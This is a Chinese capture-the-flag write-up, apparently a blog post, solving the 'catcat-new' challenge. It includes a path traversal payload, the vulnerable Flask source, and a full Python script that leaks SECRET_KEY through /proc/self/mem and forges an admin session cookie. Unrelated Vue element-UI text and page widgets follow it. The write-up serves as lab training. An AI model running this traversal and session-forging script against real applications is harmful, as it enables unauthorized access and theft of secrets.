攻防世界:catcat-new

打开题目后发现没有文本输入框,F12后也没有在源代码中发现有效信息,只有上述四张图片内容能点进去

注意看URL栏,看来只能从URL下手了

先判断这个题目是不是关于任意文件读取漏洞,读一个Linux都有的文件/etc/passwd

http://61.147.171.105:60014/info?file=../../../../../etc/passwd

可以读取,这样看来这个题就是任意文件读取漏洞了

通过抓包发现Response中的Server是python,那说明该网站是有python运行的.既然是python,当前进程肯定是由python xxx.py启动的,只要能知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,/proc/self/cmdline,用于获取当前启动进程的完整命令。

大部分的python网站脚本名都是app.py

在读取文件时一定要注意文件路径

这是源代码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
 


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
 return flag
 else:
 session['admin'] = 0
 return "NoNoNo"



if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

session伪造的必要条件是获取SECRET_KEY。python存储对象的位置在堆上。app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值.大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag.

import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:60014/"

# 此程序只能运行于Python3以上
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')


# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e


# -------------------------------------------


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

# 设置session中admin的值为1
data = '{"admin":1}'
# 伪造session
headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
except:
    print("Something error")

最终得到flag:

catctf{Catch_the_c4t_HaHa}

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
引中提到了在使用Vue的element-UI库中的select组件时,如果将select放在循环中,可能会遇到触发change事件时无法正确传递被选中项的值和索引的问题。而引用中提到了一个具体的实例,需要根据选择的证书类别来设置证书编号的前缀。最初尝试使用el-select的@change事件来解决,但却多次输出undefined,最终通过改变思路,使用el-option的@click.native原生方法来实现。引用中则给出了一段相关的代码片段。 根据这些引用内容,可以得出el-option组件的change事件无法直接解决问题,因此需要使用其他方法来实现需求。在这个具体的例子中,使用了el-option的@click.native原生方法来实现根据选择的证书类别来设置证书编号的前缀。这样当选择了某个证书类别时,会触发el-option的点击事件,然后通过该事件来改变相应的状态。 综上所述,el-option的change事件无法直接解决问题,需要使用其他方法来实现。在这个例子中,使用了el-option的@click.native事件来实现需求。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [element-ui组件中input等的change事件中传递自定义参数](https://download.csdn.net/download/weixin_38606294/13975651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vue element-UI使用el-select时@change不能触发的解决方案(通过el-option @click.native原生方法)](https://blog.csdn.net/moshowgame/article/details/109151478)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vue + Element-ui的下拉框el-select获取额外参数详解](https://download.csdn.net/download/weixin_38697471/13965857)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值